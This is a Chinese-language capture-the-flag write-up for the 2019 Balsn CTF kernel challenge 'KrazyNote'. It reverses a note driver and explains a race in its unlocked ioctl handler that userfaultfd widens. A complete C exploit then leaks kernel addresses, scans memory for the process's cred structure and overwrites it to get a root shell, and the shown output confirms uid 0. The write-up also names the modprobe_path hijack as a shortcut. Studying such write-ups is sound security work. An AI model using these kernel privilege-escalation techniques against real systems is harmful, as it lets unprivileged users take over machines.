2019_balsnctf

`pwn`

KrazyNote

前置学习

权限注入

大部分的`rcS`启动文件都会有被命令注入提高权限问题，一般认为打包命令是有很大一部分责任。本题原本的文件系统是安全的，被我解包再打包后就不安全了。

```
find . | cpio -o --format=newc > ../initramfs.cpio
```

```
/ $ ls -l
total 8
drwxrwxrwx    2 note     1000          1900 Apr 28 02:52 bin
drwxr-xr-x    4 root     0             2620 Apr 28 03:03 dev
drwxrwxrwx    3 note     1000           100 Apr 28 02:52 etc
-rwxrwxrwx    1 note     1000            11 Oct  2  2019 flag
drwxrwxrwx    3 note     1000            60 Apr 28 02:52 home
-rwxrwxrwx    1 note     1000             0 Oct  2  2019 init
lrwxrwxrwx    1 note     1000            11 Apr 28 02:52 linuxrc -> bin/busybox
-rwxrwxrwx    1 note     1000            61 Apr 28 02:58 package.sh
dr-xr-xr-x   62 root     0                0 Apr 28 03:03 proc
drwx------    2 root     0               40 Jun 14  2019 root
drwxrwxrwx    2 note     1000          1480 Apr 28 02:52 sbin
drwxrwxrwx    4 note     1000            80 Apr 28 02:52 usr
```

如何解决它？本想在`rcS`里多加命令来限制权限，但不知道是不是因为软链接的问题，导致要么程序无法正常`getshell`，要么限制失效。该问题可能还是得从打包方式解决。

userfaulted阻塞

`userfaultfd`机制可以让用户来处理缺页，可以在用户空间定义自己的`page fault handler`。用法请参考官方文档。

`userfaultfd` 本质上是利用缺页处理，加大了阻塞主进程的时间，可以让**竞态窗口**开的更大。

另外，如在执行到`copy_from_user()`时,**有锁防止**访存错误被挂起，这种利用就会失败。

内存映射

相关文档

Start addr	Offset	End addr	Size	VM area description
0000000000000000	0	00007fffffffffff	128 TB	user-space virtual memory, different per mm
0000800000000000	+128 TB	ffff7fffffffffff	~16M TB	... huge, almost 64 bits wide hole of non-canonical virtual memory addresses up to the -128 TB starting offset of kernel mappings.
				Kernel-space virtual memory, shared between all processes:
ffff800000000000	-128 TB	ffff87ffffffffff	8 TB	... guard hole, also reserved for hypervisor
ffff880000000000	-120 TB	ffff887fffffffff	0.5 TB	LDT remap for PTI
ffff888000000000	-119.5 TB	ffffc87fffffffff	64 TB	direct mapping of all physical memory (page_offset_base)
ffffc88000000000	-55.5 TB	ffffc8ffffffffff	0.5 TB	... unused hole
ffffc90000000000	-55 TB	ffffe8ffffffffff	32 TB	vmalloc/ioremap space (vmalloc_base)
ffffe90000000000	-23 TB	ffffe9ffffffffff	1 TB	... unused hole
ffffea0000000000	-22 TB	ffffeaffffffffff	1 TB	virtual memory map (vmemmap_base)
ffffeb0000000000	-21 TB	ffffebffffffffff	1 TB	... unused hole
ffffec0000000000	-20 TB	fffffbffffffffff	16 TB	KASAN shadow memory
				Identical layout to the 56-bit one from here on:
fffffc0000000000	-4 TB	fffffdffffffffff	2 TB	... unused hole vaddr_end for KASLR
fffffe0000000000	-2 TB	fffffe7fffffffff	0.5 TB	cpu_entry_area mapping
fffffe8000000000	-1.5 TB	fffffeffffffffff	0.5 TB	... unused hole
ffffff0000000000	-1 TB	ffffff7fffffffff	0.5 TB	%esp fixup stacks
ffffff8000000000	-512 GB	ffffffeeffffffff	444 GB	... unused hole
ffffffef00000000	-68 GB	fffffffeffffffff	64 GB	EFI region mapping space
fffffffff00000000	-4 GB	ffffffff7fffffff	2 GB	... unused hole
ffffffff80000000	-2 GB	ffffffff9fffffff	512 MB	kernel text mapping, mapped to physical address 0
ffffffff80000000	-2048 MB			
ffffffffa0000000	-1536 MB	fffffffffeffffff	1520 MB	module mapping space
fffffffff000000	-16 MB			
FIXADDR_START	~-11 MB	ffffffffff5fffff	~0.5 MB	kernel-internal fixmap range, variable size and offset
ffffffffff600000	-10 MB	ffffffffff600fff	4 kB	legacy vsyscall ABI
ffffffffffe00000	-2 MB	ffffffffffffffff	2 MB	unused hole

从`0xffff888000000000-0xffffc87fffffffff`该区域是直接映射区域，也被称作为`page_offset_base`。`task_struct`，`cred`等结构体也会首先分配在该区域。

解题思路

首先查看note.ko驱动的反编译结果。

在初始化时，使用`misc_register()`函数来注册驱动。

```
__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
  _fentry__(a1, a2);
  buf_B40 = &start_B60;
  return misc_register(&dev);
}
```

虽然驱动删去了符号表，无法查看结构具体情况，但通过检索网络获得`dev`的结构细节。

```
struct miscdevice {
        int                     minor;          /*     0     4 *
/


        const char  *           name;           /*     8     8
*/
        const struct file_operations  * fops;   /*    16     8
*/
        struct list_head        list;           /*    24    16
*/
        struct device *         parent;         /*    40     8
*/
        struct device *         this_device;    /*    48     8
*/
        const struct attribute_group  * * groups;       /*    56     8
*/
        /* --- cacheline 1 boundary (64 bytes) --- */
        const char  *           nodename;       /*    64     8
*/
        umode_t                 mode;           /*    72     2
*/
};
```

```
.data:0000000000000620 dev             db  0Bh                 ;
.data:0000000000000620                                         ;
.data:0000000000000621                 db    0
.data:0000000000000622                 db    0
.data:0000000000000623                 db    0
.data:0000000000000624                 db    0
.data:0000000000000625                 db    0
.data:0000000000000626                 db    0
.data:0000000000000627                 db    0
.data:0000000000000628                 dq offset aNote             ;
.data:0000000000000630                 dq offset fops
.data:0000000000000638                 align 80h
.data:0000000000000680 fops            db    0                   ;
```

主要查看其中的结构成员`fops`，具体实现了哪些驱动函数。

```
.data:00000000000006D0                 dq offset unlocked_ioctl
.data:00000000000006D8                 db 0,0,0,0,0,0,0,0,0,0,0,0,0
.data:00000000000006F0                 dq offset open
```

```
struct file_operations {
        struct module *           owner;               /*     0     8 */
        loff_t                    (*llseek)(struct file *, loff_t, int); /*     8     8 */
        ssize_t                   (*read)(struct file *, char *, size_t, loff_t *); /*    16     8 */
        ssize_t                   (*write)(struct file *, const char  *, size_t, loff_t *); /*    24     8 */
        ssize_t                   (*read_iter)(struct kiocb *, struct iov_iter *); /*    32     8 */
        ssize_t                   (*write_iter)(struct kiocb *, struct iov_iter *); /*    40     8 */
        int                       (*iopoll)(struct kiocb *, bool); /*    48     8 */
        int                       (*iterate)(struct file *, struct dir_context *); /*    56     8 */
        /* --- cacheline 1 boundary (64 bytes) --- */
        int                       (*iterate_shared)(struct file *, struct dir_context *); /*    64     8 */
        __poll_t                  (*poll)(struct file *, struct poll_table_struct *); /*    72     8 */
        long int                  (*unlocked_ioctl)(struct file *, unsigned int, long unsigned int); /*    80     8 */
        long int                  (*compat_ioctl)(struct file *, unsigned int, long unsigned int); /*    88     8 */
        int                       (*mmap)(struct file *, struct vm_area_struct *); /*    96     8 */
        long unsigned int         mmap_supported_flags; /*   104     8 */
        int                       (*open)(struct inode *, struct file *); /*   112     8 */
        int                       (*flush)(struct file *, fl_owner_t); /*   120     8 */
        /* --- cacheline 2 boundary (128 bytes) --- */
```

通过地址偏移和对结构体成员的偏移计算，得出了`unlocked_ioctl()`和`open()`函数，主要信息还是查看`unlocked_ioctl()`函数中。

`unlocked_ioctl()`和`compat_ioctl()`函数的区别在于，`unlocked_ioctl()`不使用内核提供的全局同步锁，所有的同步原语需自己实现，所以可能存在条件竞争漏洞，为提权时使用`userfaulted`创造条件。当然，牺牲内核大锁可以换来速度的优化，只是要考验程序员的功底。

```
00000000 noteRequest     struc ; (sizeof=0x18, mappedto_3)
00000000                                        ; XREF: unlock
00000000 index           dq ?                   ; XREF: unlock
00000000                                        ; unlocked_ioc
00000008 length          dq ?                   ; XREF: unlock
00000008                                        ; unlocked_ioc
00000010 userptr         dq ?                   ; XREF: unlock
00000010                                        ; unlocked_ioc
00000018 noteRequest     ends
00000018
00000000 ; ---------------------------------------------------
00000000
00000000 note            struc ; (sizeof=0x118, mappedto_5)
00000000 key             dq ?
00000008 length          dq ?
00000010 conPtr          dq ?
00000018 content         db 256 dup(?)
00000118 note            ends
```

设备实现了增删查改四个功能基本菜单题，和两个结构体进行辅助。

```
if ( opt == 0xFFFFFF01 )                        // edit
{
  Note = notes_2B60[idx];
  if ( Note )
  {
    e_len = LOBYTE(Note->length);
    e_userptr = req.userptr;
    v20 = (Note->conPtr + page_offset_base);
    _check_object_size(encBuffer, e_len, 0LL);
    copy_from_user(encBuffer, e_userptr, e_len);
    if ( e_len )
    {
      v21 = notes_2B60[req.index];
      e_i = 0LL;
      do
      {
        encBuffer[e_i / 8] ^= v21->key;
        e_i += 8LL;
      }
      while ( e_len > e_i );
      if ( e_len >= 8 )                         // memcpy(content, encBuffer, len)
```

在梳理流程时，还有一个问题，其中的`page_offset_base`代表什么值。关闭启动脚本的内核随机化参数后，利用`gdb`调试查看该值，即是内核内存直接映射区域的起始地址`0xffff888000000000`。

考虑一下情况，

thread 1	thread 2
new note_0 (size 0x10)	idle
create userfaulted	idle
edit note_0 (size 0x10)	poll
idle	delete
idle	add note_0 (size 0x0)
idle	add note 1 (size 0x0)
continue edit note_0 (size 0x10)	idle

同时，使用`gdb`查看了如果申请0字节时，内存的分配情况。

```
(gdb) x/8gx 0xffffffffc0353558
0xffffffffc0353558:     0xffffa0f21e7e8000      0x0000000000000000
0xffffffffc0353568:     0x00005f0dc0353570      0xffffa0f21e7e8000
0xffffffffc0353578:     0x0000000000000010      0x00005f0dc0353588
0xffffffffc0353588:     0xffffa0f21e7e8003      0xffffa0f2e1817fff
```

可以看出，由于`edit()`时`copy_from_user()`首次访问`mmap`地址，触发缺页处理函数。等`thread 2`删除所有`note`并重新添加两个空字节的`note`后，`thread 1`才继续编辑`note_0`，此时的编辑`content`，而`size`还是`0x10`，所以就会产生溢出。

需要再次强调的是，处理用户空间的页错误(`userfaultfd`)可以顺利运行是因为，本题使用了`unlocked_ioctl()`函数，对全局数组`notes`进行访问时没有上锁，所以才能用在`copy_from_user()`处暂停，并且中断去访问修改数组。

```
s_note = notes_2B60[idx];                       // show
result = 0LL;
if ( s_note )
{
  s_len = LOBYTE(s_note->length);
  v14 = (s_note->conPtr + page_offset_base);// use conPtr to get content[]
  if ( s_len >= 8 )                             // memcpy(encBuffer, content, len)
```

现在，你已经差不多拥有了任意地址读写的能力，不过受到`LOBYTE()`函数影响，最多一次读写只能`0xff`个字节。

利用步骤：

（1）泄露`key`：输出`note_1`的`content`，内容会与key异或后输出，由于为 0 ，结果为`key`。

（2）泄露`page_offset`：创建`note_2`，再次输出`note_1`的`content+0x10`，与`key`异或得到为`note_2`的`conPtr`，即可计算出`page_offset`。

（3）获取`page_offset_base`：因为`conPtr`偏移是从`page_offset_base`开始，而驱动地址随机化只修改了中间三位，所以完全可以凭借`page_offset`来计算得到`module_base`，进一步得到`page_offset_base`。
当然，也可以利用将`note_2`的`conPtr`改成`module_base+0x1fa`，
然后泄露`page_offset_base`在驱动中的偏移`page_offset_base_offset`；再将`note_2`的`conPtr`改成`module_base+0x1fe+page_offset_base_offset`，泄露出`page_offset_base`。

```
1.  .text:00000000000001F7      mov r12, cs:page_offset_base
2.  .text:000000000000006C      call    _copy_from_user
```

（4）搜索`cred`地址：其实直接地址覆盖为0开始搜索，因为`conPtr`偏移就是从`page_offset_base`开始。利用`prctl`的`PR_SET_NAME`功能搜索到`task_struct`结构，满足条件：`real_cred`(`&comm[]`-0x10处)和`cred`(`&comm[]`-0x8处)指针值相等且位于内核空间(即大于`0xffff000000000000`)。

（5）修改cred提权。`real_cred`指向的就是`cred`结构体的地址。将`note_2`的`conPtr`覆盖为`cred_addr - page_offset_base + 4`的位置。要充填`0x28`位。

```
struct cred {
        atomic_t                usage;          /*     0     4 */
        kuid_t                  uid;            /*     4     4 */
        kgid_t                  gid;            /*     8     4 */
        kuid_t                  suid;           /*    12     4 */
        kgid_t                  sgid;           /*    16     4 */
        kuid_t                  euid;           /*    20     4 */
        kgid_t                  egid;           /*    24     4 */
        kuid_t                  fsuid;          /*    28     4 */
        kgid_t                  fsgid;          /*    32     4 */
        unsigned int            securebits;     /*    36     4 */
```

`gdb`查找字符串来在调试时，确定位置

```
find start_address, end_address, "xxxxx"
```

当然，这样搜索太慢，也可以在第三步时，同时泄露`_copy_from_user`的地址来得到`kernel_base`，劫持`modprobe_path`，快速得到`flag`。

exp

```c
#define _GNU_SOURSE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <unistd.h>
#include <assert.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/prctl.h>

struct noteReq{
    unsigned long index;
    unsigned long length;
    void* userptr;
};

int fd;

void add(void *ptr, int length){
    struct noteReq req;
    req.length = length;
    req.userptr = ptr;
    if(ioctl(fd, 0xFFFFFF00, &req) < 0){
        perror("add");
    }
}
```

```
33.
34.  void delete(){
35.      struct noteReq req;
36.      if(ioctl(fd, 0xFFFFFF03, &req) < 0){
37.          perror("delete");
38.      }
39.  }
40.
41.  void edit(int index, void *ptr, int length){
42.      struct noteReq req;
43.      req.index = index;
44.      req.length = length;
45.      req.userptr = ptr;
46.      if(ioctl(fd, 0xFFFFFF01, &req) < 0){
47.          perror("edit");
48.      }
49.  }
50.
51.  void show(int index, void *ptr){
52.      struct noteReq req;
53.      req.index = index;
54.      req.userptr = ptr;
55.      if(ioctl(fd, 0xFFFFFF02, &req) < 0){
56.          perror("show");
57.      }
58.  }
59.
60.  #define page_size 0x1000
61.  #define FAULT_ADDR (void*)0xdead000
62.  char buffer[0x1000]; //cover all the relative address
63.
64.  static void* fault_handler_thread(void *arg){
65.      static struct uffd_msg msg;
66.
67.      unsigned long uffd = (unsigned long) arg;
68.      puts("Fault_handler beginning");
69.
70.      //while(1) {
71.          struct pollfd pollfd;
72.          pollfd.fd = uffd;
73.          pollfd.events = POLLIN;
74.          if (poll(&pollfd, 1, -1) == -1)
75.              perror("poll");
76.
77.          puts("Trigger poll");
```

```
78.          //opt
79.          delete();
80.          memset(buffer, 0, sizeof(buffer));
81.          add(buffer, 0);
82.          add(buffer, 0);
83.          buffer[8] = 0xf0; //ninth byte
84.          //
85.
86.          read(uffd, &msg, sizeof(msg));
87.          assert(msg.event == UFFD_EVENT_PAGEFAULT);
88.
89.          struct uffdio_copy uffdio_copy;
90.
91.          uffdio_copy.src = (unsigned long) buffer;
92.          uffdio_copy.dst = (unsigned long) FAULT_ADDR;
93.          uffdio_copy.len = page_size;
94.          uffdio_copy.mode = 0;
95.          uffdio_copy.copy = 0;
96.          if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0)
97.              perror("uffdio_copy");
98.      //}
99.      puts("Userfaulted end");
100. }
101.
102. void register_userfault(){
103.     unsigned long uffd;
104.     struct uffdio_api uffdio_api;
105.     struct uffdio_register uffdio_register;
106.     pthread_t tid;
107.
108.     uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
109.     uffdio_api.api = UFFD_API;
110.     uffdio_api.features = 0;
111.     if(ioctl(uffd, UFFDIO_API, &uffdio_api) < 0)
112.         perror("uffdio_api");
113.
114.     if(mmap(FAULT_ADDR, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE
    | MAP_ANONYMOUS, -1, 0) != FAULT_ADDR)
115.         perror("mmap fault page");
116.
117.     uffdio_register.range.start = (unsigned long) FAULT_ADDR;
118.     uffdio_register.range.len = page_size;
119.     uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
120.     if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0)
121.         perror("uffdio_register");
```

```
122.
123.     if(pthread_create(&tid, NULL, fault_handler_thread, (void*)uffd) <
    0)
124.         perror("pthread");
125. }
126.
127. char bufptr[0x100]={0};
128.
129. int main() {
130.     fd = open("/dev/note", 0);
131.     if (fd < 0){
132.         perror("open");
133.     }
134.
135.     add(bufptr, 0x10);
136.     register_userfault();
137.     edit(0, FAULT_ADDR, 0x10); //suspend
138.
139.     show(1, bufptr);   //0->key
140.     unsigned long key = *(unsigned long *)bufptr;
141.
142.     add(bufptr, 0); //2
143.     show(1, bufptr);
144.     unsigned long content_key = *(unsigned long*)(bufptr+0x10) ^ key;
145.     unsigned long module_key = content_key - 0x2500 - 0x68;
146.     unsigned long page_offset_base = 0xffffffffc0000000 + (module_key&0
    xffffff) - module_key;
147.     printf("key: 0x%lx; module_key: 0x%lx; page_offset_base: 0x%lx\n",
    key, module_key, page_offset_base);
148.
149.     if(prctl(PR_SET_NAME, "leafishexp") < 0)
150.         perror("prctl");
151.     unsigned long* find;
152.     unsigned long offset = 0;
153.     while(1){
154.         *(unsigned long *)bufptr = key ^ 0;
155.         *(unsigned long *)(bufptr + 0x8) = key ^ 0xff;
156.         *(unsigned long *)(bufptr + 0x10) = key ^ offset;
157.         edit(1, bufptr, 0x18);
158.         memset(bufptr, 0, 0x100);
159.         show(2, bufptr);
160.         find = (unsigned long *)memmem(bufptr, 0x100, "leafishexp", 10)
    ;
161.         if(find){
162.             printf("found offset: %p\n", find);
```

```
            if(find[-1]==find[-2] && find[-1]>0xffff000000000000)
                break;
        }
        offset += 0x100;
    }

    *(unsigned long *)bufptr = key ^ 0;
    *(unsigned long *)(bufptr + 0x8) = key ^ 0x28;
    *(unsigned long *)(bufptr + 0x10) = key ^ (find[-2] + 4 -
page_offset_base);
    edit(1, bufptr, 0x18);

    memset(bufptr, 0, 0x28);
    edit(2, bufptr, 0x28);

    puts("get shell");
    system("/bin/sh");
    return 0;
}
```

```
~ $ ./exp
Fault_handler beginning
Trigger poll
Userfaulted end
key: 0xffff8cafde3ac000; module_key: 0x7350003fc000; page_offset_base: 0xffff8cafc0000000
found offset: 0x4c54e0
get shell
/home/note # ls
exp      exp.c    note.ko
/home/note # id
uid=0(root) gid=0 groups=1000
```